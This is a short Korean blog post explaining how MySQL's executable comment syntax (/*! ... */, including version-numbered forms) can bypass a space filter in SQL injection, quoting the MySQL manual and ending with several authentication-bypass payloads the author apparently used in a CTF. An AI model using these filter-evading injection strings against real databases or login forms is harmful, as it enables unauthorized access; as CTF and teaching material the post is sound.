[MySQL] Specific Code

SQL Injection 공백을 우회할 수 있는 방법 중에 한 가지.

SELECT id,pw FROM user WHERE id='admin' AND pw='admin'  OR  '1'='1';

위와 같은 Query를 실행할 경우 붉은색으로 표시된 부분에 공백을 사용하지 못할 경우

SELECT id,pw FROM user WHERE id='admin' AND pw='admin'/*!OR*/'1'='1';

SELECT id,pw FROM user WHERE id='admin' AND pw='admin'/*!12345OR*/'1'='1';

다음과 같이 사용할 수 있다.

MySQL Server supports some variants of C-style comments. These enable you to write code that includes MySQL extensions, but is still portable, by using comments of the following form:

/*! MySQL-specific code */

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions. For example, MySQL Server recognizes the STRAIGHT_JOIN keyword in the following statement, but other servers will not:

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ...

If you add a version number after the “!” character, the syntax within the comment is executed only if the MySQL version is greater than or equal to the specified version number. The TEMPORARY keyword in the following comment is executed only by servers from MySQL 3.23.02 or higher:

CREATE /*!32302 TEMPORARY */ TABLE t (a INT);

The comment syntax just described applies to how the mysqld server parses SQL statements. The mysql client program also performs some parsing of statements before sending them to the server. (It does this to determine statement boundaries within a multiple-statement input line.)

Comments in this format, /*!12345 ... */, are not stored on the server. If this format is used to comment stored routines, the comments will not be retained on the server.

The use of short-form mysql commands such as \C within multi-line /* ... */ comments is not supported.

source: http://dev.mysql.com/doc/refman/5.1/en/comments.html

---

CTF에서 사용한 예제

(문제 의도와는 다르게 풀어서 주최측에서 이메일로 연락이 오기도 했지만...)

=1'/*!12345OR*/'1'='1

=1'/*!OR*/'1

=1'/*!50546OR*/'1

(50546보다 숫자가 클 경우 실패)

=1'/*!^*/'1

=1'/*!50546^*/'1